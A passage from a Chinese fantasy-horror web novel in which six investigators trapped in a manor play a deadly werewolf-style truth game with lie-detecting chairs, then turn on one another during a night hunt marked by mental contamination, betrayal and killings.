覃诩水也被赵慵可爱到了,许是从没见老大这样说话,还蛮新鲜的,她道:“好赵队,你怎么还摆官架子?”
赵慵一愣,眼中浮现短暂的清醒,沉默了会儿,学着余愁山面壁去了。
覃诩水笑得人仰马翻,以前活泼乱跳的陈箐也歇菜了,孟娩像是起了疑心,阴沉着温柔的眉眼。
“你怎么没事?”李俟菩问覃诩水。
覃诩水呆毛一竖,“当然是因为我厉害啊,与这些菜鸡比,还是绰绰有余的。”
好的,确诊了,覃诩水是变得更自大了。
李俟菩睨眼秦家山庄内的那多出来的圆桌,刚好六个椅子,够她们坐的了。
也差不多了,她可不想死在这里,说出去多丢脸。
此刻时针依旧原地不动。
“请客人
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移至座位,游戏正式开始。”
机械声响起,李俟菩这下倒是乖顺地随意挑了个座位坐下,接着几人便也没再反驳什么,坐在相应的位置上。
这时圆桌中心突然冒出一瓶拉菲空酒瓶,然后快速绕圆心转动,它转得飞快,李俟菩只来得及看清它的残影一瞬。
随后趁这空隙对上了紧盯她的孟娩,微微一笑。
酒瓶发出摇晃的咯吱声,缓慢匀速停下来,酒瓶长口正对孟娩。
“现在请依次对指向人提问,只许一问,请指向人说出真心话,否则受到惩罚。”
惩罚是什么不用说,只是为何这般笃定她们说的是真是假?
李俟菩抹抹椅子上的红漆,这桌椅的材质看起来很不一样,莫非是用了什么不同寻常的法器?
“哎?这好像是测谎仪。”覃诩水拍打了一下椅子,“对于我们,居然要用科学测谎,真是不可思议。”
“什么是测谎仪?”李俟菩问。
“是外国研究发明的一种科学器材……”
“请开始发言。”机械音打断二人的对话,覃诩水这次居然没有直接跳起来欠揍地说什么。
她不情愿地点头,然后对着孟娩敷衍道:“好好好,请问,你今年多少岁?”
“二十一岁。”孟娩答得极快。
座椅没有任何动静,说明孟娩回答的是对的。
按顺时针走动,下一个提问的是覃诩水的左手边。
角落里,落地钟的分针已经缓慢走了一圈。
陈箐恹恹问:“孟队你最喜欢什么?”
孟娩平淡道:“查案。”
“你们三队真是,不内卷会死?”覃诩水听此,只想破口大骂了,哪有人把工作当乐趣的。
更让人崩溃的是,孟娩所说的是真的。
接下来是赵慵,她似乎是对管不了自己的嘴感到挫败,她说:“那我问个难的,你有爱人吗?”
“有。”
赵慵自觉问出个炸弹,孟娩环胸神情自若。
涉及隐私还答得这么坦然,赵慵反而不好意思了起来。
听到有八卦的覃诩水来劲了,恹恹的陈箐也睁大眼睛,可心有力而余不足,她也只能勉强提起精神。
覃诩水道:“你什么有的,我怎么不知道?”
孟娩心平气和说:“只能问一个问题,还有,我有没有你为什么要知道?”
覃诩水笑道:“这不是逮着个把柄吗?你不是说无心耽于情爱的吗,你还真有啊?”
回答她的是没发出声响的座椅。
到了余愁山这儿就有些难了,更别说还有使劲给她使眼色的覃诩水,余愁山的脑子有些糊,她认为覃诩水的眼睛抽筋了,怕传染然后没理。
直至开始数倒计时,她最后才问了句:“孟队你……吃草吗?”
孟娩:???
“这什么破问题?”孟娩细细柳眉一弯,意外道。
覃诩水直接笑出声,“死山你脑袋被门夹了?”
余愁山也不知道自己问了个啥,但问都问了,死马当活马医吧。
孟娩思考了会儿:“以前训练的时候吃过。”
覃诩水作呕了一声,似乎是想到了比吃草更可怕的经历,她对着余愁山说:“喂喂喂你别炫耀了,你和宁松帷都没吃过草我知道。”
余愁山作为保送生没反驳。
最后,拉菲的瓶底对着第一轮的末端。
压力给到李俟菩。
规则明确说过一轮中必须要问关于身份牌的问题,说来说去都不想拉仇恨,拉扯最后是李俟菩遭殃。
这些人真是一个比一个损。
一群损友。
时针走了一格,李俟菩翕动嘴唇:“你是狼人吗?”
31. 功德+31
“不是。”
孟娩莞尔低吟,座椅也没有任何响动。
一轮将过,她们的绝对理智都有些开始瓦解,李俟菩能感受到,气氛开始逐渐凝固,各怀鬼胎。
还没等人再说些什么,那瓶子又开始转动起来。
此刻的她们早就不能再维持平常的精神状态,若是都还保持着绝对清醒,不说游戏不会玩成这样,她们准一开始就先掀翻了这个桌子。
也不会像待宰的羔羊一样,被人牵着鼻子走。
时间对李俟菩来说,就像是被刻意地放慢了,她的力气恢复得很吃力很吃力,她的肚子也开始叫嚣起来。
持续没有食物的补充的话,别说力气的供应不足,饿晕昏死过去都是有可能的。
李俟菩虚虚抵着胃,那种很难熬的饥饿感席卷她全身,她的眼前又开始闪现那些未知的梦境。
这次的瓶口停在余愁山面前。
顺时针方向第一位的李俟菩叩了叩桌子,转眼看向她那副灰败模样,说:“你还清醒着吗?”
余愁山脑子卡壳了半晌,眼中一片灰翳,“大概,不是很清醒。”
她现在的裸露在外的样子着实挺吓人的,她稍微垂着头,短发遮住她的半张侧脸,明艳立体的眉眼放在现在看来都有种红颜早衰的迹象。
山庄中的死寂越来越重,李俟菩闻到了一股细丝微弱的腥气。
李俟菩向左一瞥,覃诩水正不自觉地摩挲着座椅把手,连手指被倒刺划破了都不知痛,鲜血与红漆融在一起,鸠合一体。
覃诩水无知无觉,凝视余愁山,调笑问道:“你是狼人吗?”
几人目光全都汇聚在余愁山的身上,她嘴唇嗫嚅,不知在克制着什么。
张口道:“是。”
滋滋——
尖锐的爆鸣声一霎冲破几人的耳膜,李俟菩离得最近,嘹亮的声音让她只觉自己的胃更加痉挛了。
余愁山说谎了。
几乎是瞬间的事儿,余愁山脸上的痛色一闪而过,她蜷缩身体,捂着脑袋就要往坚硬的桌子上撞去。
却撞到一处柔软,接着嘎嘣脆响,有什么东西碎裂了。
赵慵救急的手被余愁山磕得近乎骨折。
“干嘛,脑袋不想要了?”
赵慵瘦弱的面孔痛得变形,她还在忍痛地笑着,手却没了支撑柔弱无骨的软下。
“你……”余愁山周身紧绷,仿佛一根将要断裂的琴弦,眼里掠过清明,只一秒,又被灰蒙取代。
在场几人除了赵慵还稍微关照她外,其余人都像是被夺舍般只朝这边看了一眼,傀儡似地都没流露出半分担忧的神色。
覃诩水狭长的双眼都在暗下去。
李俟菩也不例外,她刚想去阻止,胃中就一番翻江倒海,仿若千万钢针横冲直撞,她从未感受到如此痛苦,嘴唇不见血色。
只能用力抵住自己的胃腹,腾不出手来着急地看着她们。
陈箐那双漂亮的眼睛也已经有些涣散,她问:“余小姐,你是狼人吗?”
李俟菩眉心一皱,往陈箐那边扫了一眼,窗外的日头在她身下铺了层金光,沐浴在阳光下的她脸上却连活气都看不到。
撑着头的余愁山从喉咙里挤出暗哑的笑声,“是。”
尖锐刺耳的鸣叫再次袭来。
衣袖窸窣一声,李俟菩速度飞快地去接住余愁山的头,可她却用力一偏,磕了个十成十,原木做的上等桌面被她撞得闷响。
大股大股的血液从余愁山的黑发间喷涌而出,万籁俱寂中,她轻声呼吸,再没抬起过头来。
赵慵也像被什么东西蛊住了,直愣愣地都没往这边瞟。
李俟菩的手悬在半空,胃袋都要从口里呕出来的清晰感瞬间侵蚀她的大脑。
余愁山的血液从桌角滴在地面上,又流向地面凹陷处,直至与覃诩水的血水相融在一起。
整座山庄都快变成了死亡案发现场。
精神污染就像绵长的仇恨,一点一点吃掉人的鼻子和眼睛,最后吃掉大脑,让人的骨头缝里长出荆棘,让人的血液被铁水浇灌。
直至缝上人的嘴巴。
不同于上一局,再也没有的喧闹感。
余愁山的执着像是就想立马去死。
而孟娩的黑眸是在场所有人最澄明的一个,可眼底的多疑却从嘴里流了出来。
她倒是放过了余愁山,看向窗外,声如温玉:“余小姐,请问外面有郁金香吗?”
孟娩坐在李俟菩的正前方,李俟菩的背后是后花园,而孟娩的背后是透过雾气温暖的太阳。
她逆着光,摇曳着光晕,李俟菩不知道她的眼睛是否真的看向了窗外。
即使李俟菩她的衣角晒上了光斑。
余愁山应该是还没有晕死过去,精神污染最痛苦的就在于这一点,它会让你活活绝望下去,让你亲眼见证自己的死亡。
她声音很沉闷,还有液体滚落喉咙的沙哑,她道:“没有。”
随后又一声痛苦气喘,孟娩道:“很可惜,那玫瑰花里面有一朵很绝俗的郁金香,就像是异类,可它开得又那般尽态极妍。”
座椅的鸣叫又响起来,余愁山的发丝粘黏在一起,她痛得已经无力再扬起头。
孟娩郁郁道:“它为什么就不能像人感受到异样的目光时,痛苦地自戕呢?”
话落,身旁的陈箐浑身战栗,她动了动干裂的唇,眼神空洞惶然。
孟娩还想说些什么,赵慵截断了她的话:“愁山,你疼吗?”
赵慵的神色十分冷淡,她直视前方,眼底却还是划过悲戚。
“……疼。”余愁山小声道。
至此,第二轮结束。
“考虑到游戏体验问题,请各位客人前往房间休息三个小时,再继续开始。”
黄鼠狼的慈悲。
李俟菩一笑,扫了眼众人,最后将目光停留在孟娩身上。
“那就,先上去休息?”孟娩收神道。
陈箐迷茫地点点头,独自上楼去了,只是那一卡一顿的动作怎么看都不像是一个正常人。
覃诩水也一脸严肃地跟在陈箐后面走了,余愁山估计是打算不上去的,可赵慵还是要硬拉着她上去洗把脸。
余愁山的额头鲜血直冒,长睫也粘上血沫,她回头看了一眼那朵异类的郁金香,随后被赵慵生拽上楼。
李俟菩默默走去那落地钟前一步,手指在裤边上一搭一搭地摆动,然后攀上那钟盘的玻璃。
镜面的反光照出身后孟娩隐秘的眼眸。
“孟队,你真的不是狼人吗?”李俟菩漫不经心地开口,对上镜面孟娩的眼睛。
“答案我已经说过,测谎仪也不会说谎,再问就没意义了。”孟娩微阖探究的双眼。
李俟菩无所谓地出声,“你在怀疑我。”
孟娩诚实道:“你为什么会知道长生种的习性?”
“孟队,你不了解我,如果我是执棋人,我不会玩这么无聊的游戏,一掌足矣。”李俟菩讥讽着说。
孟娩薄唇一抿,“的确听说过你,善力而不善言辞。”
“哦?那我倒是很好奇,别人都是怎么看我的?”
“下次再告诉你吧。”孟娩一笑而过,转身上楼。
微隙的气息被光芒穿洒,身影走过又消失。
李俟菩没再把眼睛放在别处,只透过玻璃看到了那一滩血迹。
还有浸泡在血迹
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里的,她的左眼。
*
是夜。
暮色将窗户的影子推入室内,几人围坐。
“不是说只休息三个小时吗?这怎么三个小时以后天都黑了?”覃诩水睡了一觉,提起点精神,似乎褪去了污染。
陈箐还是眼底青黑,不如死人的模样,陪同下楼的还有眉头皱得死紧的孟娩。
余愁山与赵慵最后才到,余愁山的脸上被清洗干净,贴上了纱布,赵慵的手指似乎被全接上了,但关节处还是有点红肿扭曲。
圆桌下面的血迹没有了,一切恢复如初。
而李俟菩从头到尾都没有上过楼,亲眼见证了血迹的消失。
新一轮的转盘可不会等她们的闲话聊完。
即使远远没有寻常的精神状态。
同样的拉菲酒瓶被刺眼的白炽灯照耀,月色踏入屋内。
就在快要停下的时候,酒瓶不知被哪儿来的石子绊了一程,欲指向覃诩水的细长瓶口推向了李俟菩。
钟盘里的秒针有条不紊,时钟正指八点整。
覃诩水这个人是一秒都停不下来,刚恢复了点气力,就欠揍道:“好姐姐,我可不会手下留情哦。”
李俟菩敷衍应了两声,睨了眼孟娩。
覃诩水准备了许久,终于把憋了很久的话问出口:“你师从何处?身手这么好,我可早想问了,奈何你一直不肯说,我替一组好好问问。”
“我师。”
“……啊?”
覃诩水期待的眼神空白一瞬,有种被耍了的既视感。
“不是,不带这样玩儿的啊!”覃诩水赖皮道,“我要重新问!”
似乎是看到自家偶像受欺负了,陈箐一脸死人样地将覃诩水一扒拉,“该我了。”
陈箐强撑着想了会儿,“李小姐,愿意来我们组吗?”
“嘿,你想挖人想疯了吧!”覃诩水好不容易提起的精神在沾上这椅子一会儿就又被抽走了,但她还是不能忍受可恶的挖人套路。
李俟菩道:“我还在考虑中。”
她的回答成功引起了覃诩水与陈箐的不满。
孟娩急忙打断她们,沉声问:“你是狼人吗?”
李俟菩眯眼微笑,身下破裂稀烂的椅子代替了她的回答。
啪的一声,李俟菩竟是蓄力将那测谎仪拍了个粉碎。
她双腿一错,疼痛再次无情刺入她的神经,可她没管,直接跃过整张桌子,拍向孟娩。
动静不小,飞灰沾上余愁山刚刚洗净的侧脸。
孟娩冷笑一声,闪身掏出一个似弓弩的小型玩意儿抵上李俟菩没防备的脑袋。
是枪。
“不是我去,哪来儿的真理啊!孟娩,你……”覃诩水还以为自己眼睛花了,登地站起身来。
场面瞬间陷入混乱。
滴答——
落地钟正指十二点整。
“滋呲……第一日游戏即将结束,所有狼人无一人抹杀,请客人做好准备,狼人追逐战马上开始。”
赵慵终于坐不住了,她站起身道:“刚刚不还是八点吗?怎么现在就到零点了?”
无人出声,几人眼前一再变换,最后都被迫离开了原地。
仅三秒,山庄大厅内空无一人。
……
月光朦胧,孟娩手拿黑枪,倚靠在山庄的白色墙面,旗袍摆尾扫过野生长草,温柔的黑瞳狡黠。
她随手将自己的身份牌丢在草丛里。
【狼人】
另一边,李俟菩坐在屋顶上,长腿交叠,弯月如钩不如她昳丽的眉眼。
万缕清辉藏入她黑衣风衣的口袋,描摹出身份牌的轮廓。
【狼人】
32. 功德+32
树影婆娑,屠“诡”狂欢正式开场。
与众不同的是,今天的夜色比任何一处都还要美丽。
覃诩水脚步飞快,穿梭在二楼的走廊之中,白色卫衣衣领从外灌风,她跑路的腿一僵。
最后停在走廊尽头的壁画前,举起从厨房里顺来的菜刀,幽幽划上一道痕迹。
冷冽的寒光映射出她破皮的嘴角,凌乱的发丝垂至眼前,她身处光线微弱处。
昏黄灯光融成一团,黑暗勾勒出她的侧脸。
细碎的脚步声在身后响起,覃诩水惊觉回头。
她攥紧菜刀,对上面前的人,刀尖还附着刮下来的黏糊碎屑。
对方屹立在它面前,小屑团模糊了她的嘴唇。
“孟队?”覃诩水不自觉地呼出一口气。
孟娩形单影只地站在灯光下,一脸笑意。
覃诩水见来人,还举着菜刀,脸却放松下来,嘴角勾起微妙的弧度。
“我刚遇到一个人和我交手,身法什么的都挺像你的,没想到这狼人还会模仿别人的身手,更没想到有一天我们会沦到窝里斗。”
覃诩水感慨一句,“真是虎落平阳被犬欺啊。”
孟娩看不清她的脸,琢磨了一会儿道,“那可难办了,我到目前为止才遇到了你,其他人都不知道去哪儿了,按你的意思,保不准狼人会刻意隐藏身份让我们互相怀疑?”
“有可能,不过放宽心,我已经在墙上标了记号,愁山看到了会知晓的,别人都看不出来,等会儿和她碰面了商量对策。”
覃诩水用刀磨蹭了那块无尽走廊的壁纸。
一刀不深,正好划在正中央,割裂的画瞬间没有了之前的那副迷幻之境。
“你和余愁山还专门制定了一套法则?你们赵队也不知道吗?”孟娩仔细看了一眼那很普通的划痕,没瞧出什么新鲜花样。
覃诩水扭捏一下身子,“实不相瞒,我怀疑赵队是狼人,不想让她知道。”
“哦?”孟娩笑如秋叶静美,“何出此言?”
“哎呀,这不是往往最没可能的人就是最有可能的呗,赵队她今天一上楼就拉拢余愁山,我都听到了的。”
覃诩水手上的刀随着情绪的高涨一晃一晃,孟娩借着光滑的刀面微不可察地瞟了眼右边主卧。
“啊?那这么说的话,我也有个怀疑对象。”孟娩倒没有问是什么话,只是故作思考地想了想。
“我知道,你怀疑阿菩嘛,你听我跟你说,赵队她所言绝对是狼人,余愁山肯定和我们是一伙儿的!所以她拒绝了赵队的邀请。”
覃诩水夸夸其谈,孟娩轻微踱步向前。
听此,孟娩若有所思地点头,“既然有怀疑对象了,那我们待在这儿也不是个事儿,太被动了,要不主动出击?”
覃诩水看似已经卸下一半防备,她快速扫视孟娩一眼,问道:“你枪呢?”
“被人给抢了。”孟娩颇有些遗憾。
覃诩水也没问是谁抢的,反而问出她最好奇的问题:“你在哪儿拿的那枪?这里面法器都被限制了,你玩魔术呢?”
孟娩眉梢一扬,“房间里冒出来的,我也不知道,不拿白不拿。”
覃诩水“哦”了一声,看了眼自己手上的菜刀,又看看孟娩空无一物的手,“那行吧,我可做不到坐以待毙,我们先去厨房拿趁手的工具?”
“可以。”
覃诩水迈前一步,整张脸暴露在暖光下,睫翼在脸上投下阴影,她嘴角破皮处红得吓人。
“你嘴怎么了?”孟娩转身,背对她问道。
“还不是那个学你的人挺厌烦我的,看我一直说话就往我嘴上打,也不知道是拿什么东西磕的,疼死我了。”覃诩水斯哈一声,不敢上手去碰。
“要不你想想,谁嫌弃你话多?”孟娩走在前面,大厅的光影一步步染上她衣料,整座山庄静谧无比。
覃诩水还真认真掂量两下,左右摇摆不定,最后得出了惊人的结论。
“我觉着,你们都嫌弃!”
孟娩一声促狭轻笑,损人的话即将要脱口而出,瞬间感觉脖子一凉,冰冷的刀划开一丝红线,她脚步顿住。
“也包括你。”
青瓷花瓶扭曲二人一交一错的身影,覃诩水挂上混吝的笑容,加深了些许力道。
孟娩处事不惊,冷峭音色响起:“怎么?你是怀疑测谎仪,还是怀疑你的耳朵?”
覃诩水语气戏谑,嗓音低沉:“都怀疑怎么办?你也知道,受过精神污染的人很难分清现实与虚幻,我很为难啊。”
孟娩侧首看她,“哦,那你要杀了我吗?”
“目前来看,我还是有点舍不得的,要不孟队帮我把阿菩抓来?”覃诩水目光略斜,“我比较懒,刀呢,也稍微比孟队快一丢丢。”
孟娩细长的脖颈静脉一跳一跳,覃诩水的刀动得更深了。
“你不是怀疑赵慵吗,怎么变卦了要抓李小姐?”孟娩迁就纵容地问道。
“我想她了不行啊?”覃诩水狡黠得像个老狐狸。
孟娩不驯地往那刀的方向一偏:“行,怎么不行,可是,我为什么要帮你呢?”
覃诩水微颤着撤了些许力道。
她掏出一张身份牌,“若是不出意外,现在的你应该看得到字了,帮我把阿菩抓来,我就把身份牌给你,怎么样?”
卡片小角上夹杂着几根长草叶,狼人二字被迷离的光描绘。
孟娩的笑意从眼角蔓延,“行,我确实是不想死,既然你肯把活下去的机会给我,我也就笑纳了。”
她稍稍挪动那刀面,一丝血液流入窄口衣领,仿若在旗袍上浸染红梅。
覃诩水没追击,孟娩偏头看了看那卡片。
“你先留着吧,事成之后给我。”
“那我等你的好消息?”
覃诩水好似生怕她反悔,一个跃身,直接从栏杆处跳下二楼,稳稳落地,“我去赏花儿喽,记得来找我?”
轻如鸿雁的身影瞬间消失得杳无踪影,就像覃诩水从没来过这里一样安静。
孟娩还扬着笑脸,只是目光淡漠,毫无温度,转眼笑意也一下子没了踪影。
她默默立了半晌,转身步入主卧房间。
房间低垂的幔帐半透,月光如昼。
只见一人缩在床角,双手双脚被捆上麻绳,嘴里被人塞了一团干净的深蓝毛巾,身边还放着一柄黑色手枪。
“赵队,要不要我越俎代庖一下,帮你除了覃诩水这个狼人?”
深沉的夜将孟娩裹挟,颀长的影子犹如狰狞的野兽,她眼中荡漾一汪春水。
“刚刚说的话你也都听到了对吧?要不你提一下建设性意见?”
床头快熄灭的一盏小灯将赵慵抽去魂魄的眼睛点亮,已经快成傀儡的她根本听不见孟娩在说什么,双眼只有她一开一合的嘴唇。
绑着赵慵的绳子松得厉害,可她的胸腔却快要没有起伏。
孟娩眼里闪过复杂的神色,上前轻轻将那紧握的双拳掰开,塞至手枪,然后握好。
随后再没看她一眼,翻窗越下山庄,落至青石砖小路,远眺了那方萤虫飞舞的草丛。
只见那里萤火微微,微风拂过,草丛作响。
直觉有些不对的孟娩后撤一步,不知又想到什么,踟蹰不前。
身后突然传来急促的哒哒声,孟娩神思一晃,脚踝
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停在台阶处,猛然被一只手握住。
她大惊,正欲呼叫出声,但被人捂住嘴拉至草丛深处。
碧绿的草池被肆意牵扯,摆弄摇曳。
孟娩两手一翻,就要出招,谁知那人更快,直接把她双手夹住,再动弹不得。
“别动。”
孟娩透过缭绕的郁葱映入李俟菩的眼睛。
空气中飘荡着草木的清香。
从山庄那边绕过来的脚步声越来越近,李俟菩不得不撤手看向那边。
孟娩的惊恐不大于撞鬼,悄声道:“你不是在屋顶吗?怎么下来了?”
李俟菩连忙竖起一根手指,肩头发梢掠过一阵风,她指了指屋顶示意了什么,想说话却被踏下台阶的脚步打乱。
“谁?!”
是陈箐的声音。
李俟菩越过长草仰头看她提着长棍越走越近,一不做二不休也探上陈箐的脚一拽,一声尖叫被死死堵住。
草根间耸动好几下,随后响破天际。
“来人啊,谋杀啊!”
“闭嘴!”孟娩小声呵斥道,“你想把她们都引来吗!”
陈箐被按在草丛里,一副不堪受辱的倔驴样。
李俟菩道:“赵慵在追我们。”
孟娩偏目看了她一眼。
听见偶像发言,陈箐才有些震惊道:“赵队是狼人?”
过了会儿,孟娩点头称是。
只是还没过多解释一番,台阶那边就又传来微微步履声,李俟菩无奈充作前线观察,看身形应该是余愁山。
估计是刚刚陈箐的叫喊引来了她,余愁山就算神思不清,脑子还是好的,一时半会儿大概不会离开这里。
三人对视一眼,跟抢劫一样,余愁山还没走上台阶,一人捂嘴一人捉脚腕一人拉整个身子的团伙作案拉开序幕。
于是蝇虫满地的草丛里再添一名新成员。
余愁山倒是镇定自若,她先是看了孟娩一眼,又转头看其他两人,她的眼睛虽然还是黯淡无光,但她嘴巴可不饶人。
“你们嗜好挺特别,是在开怎么生吃蛇虫的派对吗?”
陈箐噫了一声,拉踩道:“这破事儿覃诩水倒是常开,跟我们可没关系。”
余愁山呆呆地应声,“那你就是吃过咯。”
陈箐顿时火冒三丈,孟娩示意她不要计较。
李俟菩跟猫似地拍拍余愁山,竖起一根手指道:“赵慵在追我们。”
她凝视余愁山片刻,眼中的坚定不容置疑。
余愁山倒是听话地点点头,借着月光看向孟娩的脖子,“你受伤了?”
孟娩毫不在意地抹了抹,“被一只小狗叼了一口。”
余愁山淡淡寒霜的脸庞露出些许惊讶:“我们之中到底有几个狼人?”
“目前才发现两个,一个是赵慵,还有一个在后花园,她让我把李小姐捉去,估计是想拿武力最高的人下手。”
孟娩面不改色,分析道。
想也不想另一人她说的是谁,陈箐不相信地说:“覃诩水是狼人?不可能吧?”
夜色暗涌,其余三人短暂地注视她一眼。
“怎么了?”陈箐被她们看得寒毛都立起来了。
李俟菩耳尖一动,透过眼角斜瞥那草丛外,“有人来了。”
“啊?是覃诩水吗?”陈箐挪挪臀部,已经把一个人的位子腾好了。
“对。”
可长草易掩,陈箐哪里看到了什么覃诩水,只见李俟菩一人直接站起身,手里掏出一只打火机,就往草丛里一丢。
陈箐:!!!
呲呲——
“鬼牌陈箐死亡,淘汰出局。”
33. 功德+33
轰隆一声闷响,火燎了半边乌云。
远在对角花圃无聊折花的覃诩水被吓得一激灵,手上的玫瑰花枝抛得老高,回头一看,浓雾窜然而上。
空间的机械音徘徊在耳边,四个字清晰地在她耳边循环播放——
陈箐死了。
一瞬间,莫大的冲击把覃诩水整个人都弄得脑间嗡鸣,她险些忘了自己身在何处。
可她还没来及思考,就感觉到危险的死神爬上了她的脑门,她连忙拔腿就跑。
火燎的那边是肯定不能去的,花圃这边也不能待了,说不准就有人藏在这里给她致命一击。
她现在可不管什么对孟娩的承诺了,还是自己的小命要紧。
于是脑子里一团浆糊的覃诩水就这么跑进了死寂山庄内。
相比于外面炽热烈焰飞来的滚滚浓烟,屋子里还是比较清凉的,她逃到大厅圆桌旁,还没喘气,就被落地窗外的簇簇火焰吸住了眼球。
隔着一层薄窗,她都感觉那灼热的空气排山倒海袭来,像熊熊火光真的就要在她身上烙印下深刻的疮疤。
她杵在原地半天,眼眸被火舌舔舐,她闭上眼睛不想再看。
可名为念兹在兹的精神污染成心不让她好过,随着眼框里的火就要焚烬她的神经。
突然,二楼紧闭的房间传来动静。
覃诩水双眼立马聚焦,她收起杂乱的思绪,从衣兜里掏出不大不小的菜刀,又抡了个空花瓶,正欲迈上二楼。
山庄大门却砰地一关,覃诩水警铃大作。
察觉不对的她撤回了脚步,转入餐厅里去拿了把更大的切鱼长刀,回头却被那张布满残渣的餐桌上留住了脚步。
是一张从作业本上撕下来的一角字条。
她捏起意外出现的普通纸片,仔细闻了闻,又举起借着灯观摩一遍。
“一,餐厅洗碗必须洗三遍以上,二,小欠的衣物一定得用手洗,三,小欠的……”
覃诩水念出了声,声音却没压过与餐桌正对着窗棂外的争论声。
说的什么她没听清,但声线却是她意料之中熟悉的两个人。
她垂头又观察了一下字条,字迹娟秀,刚正有力,一看就是女子的笔迹。
可是明明之前还没有的,难道这是谁刻意摆在这儿的?
激烈冷硬的争吵又随风充斥在她耳廓。
覃诩水思虑再三,决定还是悄悄潜入那边窗台底下,凝神听着动静,将那疑似线索的纸条折好揣进自己兜里。
“你杀了陈箐,今天我就要杀了你。”
清楚听到的第一句话就炸裂非常。
怀揣着怒气的怨恨声砸在覃诩水头顶铿锵有力。
是孟娩的声音,她似乎找到了李俟菩,还指责李俟菩是杀人凶手?
没等她反应,就听李俟菩平常道:“你不是猜我为狼人?那我杀了陈箐你又有何意见?”
“你为一己之私杀了我队员,李小姐,你如今是不是狼人已经无所谓了,你是傀儡的悬丝。”
孟娩低下了声,哽咽混入风中。
“少诩正义了,我听赵慵说,你为了覃诩水狼人的保命牌要来抓我,我说的可是事实?”李俟菩厉声询问。
“胡言乱语!你不刚还说赵慵是狼人,她怎么可能出卖覃诩水?”
孟娩闻声怒气更甚,出口就破了音。
覃诩水还从没听过孟娩的情绪如此外露。
等等,赵慵还真是狼人?!
那她之前就是猜对了。
自己的那张狼人身份牌是在草丛里捡的,如今李俟菩好似与赵慵达成了什么共识,难道第二个狼人也如她所料,是李俟菩自己?
她在贼喊捉贼?
“这么说,那你就是承认了?”李俟菩冷哼一声,“虚伪。”
“人不为己天诛地灭,我不想死并没有错,覃诩水也只是说抓你过去,而你却分分明明地杀了陈箐!”
“真是只许官州放火不许百姓点灯。”李俟菩也是无语得厉害,“现在要抓我和要杀我有什么本质区别?不都是为了保全自己?”
听语气就知道李俟菩现在在失控边缘。
她继续道:“麻烦孟队你动动脑子,赵慵和覃诩水身位狼人一定早就碰过面了,如今覃诩水先策反你,后有赵慵来挑拨离间,你就没想过她们两个憋着什么坏水?”
憋着坏水的覃诩水:???
确认了,这是被自己好姐姐推出去挡了枪,还莫名其妙地被当做顺水推舟这两人走向合作趋势的肉盾。
覃诩水扯了扯嘴角,尽量放缓的呼吸破防一声。
孟娩不语,李俟菩将手搭在窗边缝隙,覃诩水顿觉那只手就像放在了自己的脑袋瓜上。
李俟菩少见地软下了嗓音,“除去陈箐和余愁山,看起来最没事儿的就是我们两个了。”
“你什么意思?”孟娩明显不快道。
“先前孟队那般怀疑我,可曾知晓这就中了某人的计,在没有前提下如此想法,难道孟队你是在圆桌上接了谁的信号吗?”
李俟菩驯良的语气放得极低,让覃诩水大开眼界,先前她都不知这位神仙竟然这么八面玲珑,巧言偏辞。
孟娩毫不迟疑:“我之前说了,我怀疑你是因为长生种,你很了解这个人,你跟她不可能没有任何关系。”
两方的对峙越来越严重,隔着一堵墙的覃诩水无意识地抠了抠手指。
李俟菩与长生种有关系?孟娩怎么看出来的,又怎么如此笃定?是她漏掉了什么细节?
孟娩还在圆桌上与人传递信号?她怎么没看到,不过孟娩最大的本事就是神不知鬼不觉地传消息,这点倒是毋庸置疑,那与她传消息的是谁?
是陈箐?孟娩用过话术刺激她。
还是赵慵?或是余愁山?
气氛再次凝固,两人谁都没有动手,可是两人的嘴皮子都没有放过谁。
良久,李俟菩斩钉截铁道:“孟队,我这双手不但能放火,还能在十招之内杀你呢。”
孟娩却不惧,“李小姐,之前我就很期待与你交手,现在你说这些也只是增长你自己的气势罢了,因为你已是一木难支。”
这句话的确没有错,如今这番局面,她们都是精神操控的傀儡。
甚至都意识不到自己下一秒的行为是否是自己大脑发出的指令。
这种痛苦太难熬,因为分不清本体,大部分人在短暂的清醒后,第一件事就是自刎。
“不如我们也来做个交易,现在陈箐已死,覃诩水又承诺你狼人牌,你替我把赵慵抓来,我们联手一起出去,可好?”
李俟菩又耐心地变了话术,孟娩没开口。
“孟队,如果我有赵慵的狼人牌,再将余愁山除掉的话,我们就能活下去了。”
孟娩有些好笑说:“身份牌只看最初的那张,李小姐是不是从没玩过游戏,连最基本
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的东西都不知道。”
覃诩水也笑,明明自己都想抢那最微末的生机,还要讽刺别人愚蠢。
“孟队不是说我和那个长生种有关系吗?就不想赌一赌?”李俟菩道,“有些事情,只看结果。”
“那李小姐有没有想过,如果余愁山的手上也是狼人牌呢?没有谁规定狼人只有两个吧,余小姐可是个憎恶分明的主,她可不好劝。”
孟娩一番话把李俟菩的嘴给堵住了,同样也惊到了覃诩水。
有一个误圈一直被忽略住了,那就是狼人的数量问题。
可不对啊,余愁山在真心话中明明不是狼人牌啊,而且她还嘴硬地说自己就是狼人,难道是被精神污染搞脑残了?
左落地窗的火光渐渐微弱了下来,一阵风落,沉浸在自己世界里的覃诩水突然被阴影圈笼住。
她抬首,小刀的寒光把余愁山的桃花眼覆住,转眼间脖颈凉如冰锥刺骨,她话堵在嗓子口,表情被定格。
疼痛通过神经末梢传入大脑,她见着余愁山的那双眼睛,却慢一拍地捂住自己鲜血如注的脖子。
眼见余愁山拿出一张黄色符纸,隐蔽地掀起她外衣贴上,覃诩水只能不明地死死瞪着这个女人。
最后听她道:“戏看够了就安心地去吧。”
覃诩水缓慢倒下,最后圈进眼瞳的还有窗边那两人冰冷的眼神。
夜黑风高,电音就像一个恶诡在独自窃喜。
“鬼牌覃诩水死亡,淘汰出局。”
窗边,李俟菩向下瞥见的只有马上灰败的死尸,她与余愁山对视一眼,低喃着说道:“烧了吧。”
孟娩随口一嘲,“全尸都不留一个?”
“我没有留死尸做纪念品的爱好。”李俟菩道。
余愁山抱起覃诩水,覃诩水的蓬松长发扫至她的手腕骨,她眨眼,往那边还没有彻底燃熄的火走出大门。
孟娩静静看着那截发丝,轻声细语:“真佩服一些演员,做这行业还挺费脑。”
李俟菩表示赞同,问道:“赵慵呢?”
“二楼,怎么了?”
“她还能走吗?”
“大概是不能的。”
李俟菩推开面前的这扇窗,说:“你和余愁山之间的血契还在吗?”
孟娩摊开右手指尖:“放心,这种东西一般会持续二十四小时,当然还在。”
李俟菩懒洋洋地说:“不是说很耗精力,你们现在还能撑住吗?”
“我还行,余愁山的精神可能有点问题,毕竟她的影响最大。”孟娩担忧道。
去而复返的余愁山从她身后缓缓走来。
李俟菩也不拐弯抹角了,后退了两步。
